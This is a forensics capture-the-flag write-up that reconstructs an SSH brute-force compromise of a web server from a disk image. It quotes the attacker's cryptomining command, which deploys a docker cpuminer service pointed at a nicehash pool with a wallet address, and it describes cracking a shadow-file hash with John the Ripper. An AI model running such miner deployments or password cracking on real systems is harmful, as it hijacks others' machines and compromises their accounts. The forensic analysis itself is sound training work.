FIRST SecLounge CTF 2020 – Forensics Challenges

The FIRST CTF 2020 included a forensics track that consisted of 7+1 questions related to the investigation of one single image file that participants could download.

 

Challenge Description

A bit of background: A friend of yours was running a super nice webserver exposed to the Internet. Unfortunately, his machine was heavily attacked, and a bad guy managed to get in and do crappy things. Your mission is to forensicate the machine and try to understand what happened. 

 

Preparation 

Llet’s start by downloading the image file. Once it is on disk, we examine the archive. It has been compressed with tar and gzip. Let’s decompress: 

gunzip hacked.dd.tar.gz
tar –zxvf hacked.dd.tar 

Now we can examine the raw dd image with file, fdisk, testdisk: 

In order to investigate the image, we could either parse the raw strings out of it, or a more straightforward route is to properly mount the image file. 

As we can see, the second partition starts at sector 4096; that is where the actual filesystem is residing. Since 1 sector is equal to 512 bytes, 4096 * 512 = 2097152; that is the actual byte offset we need to note in order to mount the image. Always mount your images with read-only options, as discussed in every Forensics 101.  

 

That’s great. We can now look around and start answering the questions! 

 

Question #1

What is the source IP of the attacker when he SUCCESSFULLY got access for the first time? 

 

The file in which we would get the answer for this lies in /var/log/auth.log. The auth.log contains all failed and granted auth logs, and if we are looking for all events related to authentication, this is the file to check. One approach to solving this question is to grep the file for any non-internal IPs with PCRE, or simply listing all IPs. 

 

Answer #1: 45.62.224.162

 

Question #2

At which date and time (use log format) did the attacker first manage to get successfully in? 

 

Now that we know the external IP of origin, let’s see the timestamps for successful logins from that IP: 

 

06:51:39 seemed to be the viable, first choice but submitting that as flag fails. Looking around that timeframe, it seems this is not the correct one, as although the password was accepted, the session was closed as well around 06:51:39. 

 

So the next sane choice would be to submit 06:55:01, and we finally succeed with the flag. 

When submitting the flag, we have to make sure that it follows the logformat-> MMM DD hh:mm:ss, so the flag is properly recognized. 

 

Answer #2: Mar 10 06:55:01 

 

Question #3

Which user account was compromised on the server? 

 

Looking at the timeframe 06:55, it is clear that jdoe’s account was compromised by brute-force and then the attacker quickly escalated privileges to create another account. 

 

Answer 3: jdoe 

 

Question #4

Can you retrieve what was the password of the compromised account? 

 

For this we needed to navigate to /etc folder where the hashed credentials are stored under passwd and the shadow file. It is also a good sign that these files have been recently modified. 

The shadow file contains both the jdoe and hack3rman accounts’ hashed credentials, which we can try to brute-force. 

John the Ripper defeats the first hash in a minute but fails to brute-force the hack3rman account in a reasonable time – no worries, since that is not required for this question. 

 

Answer #4: 123456 

 

Question #5

It seems that the attacker was willing to be sure to keep an access… Could you find out which account he created? 

 

Once the attacker got access to jdoe’s account, the first thing he did was create another account called hack3rman by simply invoking su – to escalate privileges. 

 

Answer #5: hack3rman 

 

Question #6

The server was used to generate some profit for the attacker. His first attempt FAILED, could you retrieve the command used?

The flag is the first correct command entered (remove useless space keeping only space between two words)

 

The idea here was that if the attacker executed something on the compromised system, it might have a history record.

Let’s look inside the two accounts’ .bash_history. Looking carefully, we may see that there is one command that surely failed due to a typo: sudo docker service creat 

 

Answer #6: sudo docker service creat   –name miner alexellis2/cpu-opt:2018-1-2 ./cpuminer   -a hodl   -o stratum+tcp://hodl.eu.nicehash.com:3352   -u 35THoNiL8vNCESSq5ZPmZYTHT1GymWvUAx.autopsit.org 

 

Question #7

When he successfully executed the command, an associated email address can be retrieved. Could you find what is his address? 

 

If we were watchful during the previous question, we could spot that inside hack3rman’s .bash_history there was also a docker command including an e-mail address.

For an alternative route we could simply grep all files inside /home/ directory: egrep –aiRE (@.*.com) * 

 

Answer #7: [email protected] 

 

Threat Intel Challenge 

For the first question, you found the intruder IP. Could you retrieve the hoster name and country? (Format: name/country) 

 

As we previously found, 45.62.224.162 was the attacker’s external IP address. We now need to do a WHOIS query to find the ISP and country of origin: 

whois 45.62.224.162 

 

Answer: Cloudatcost/Canada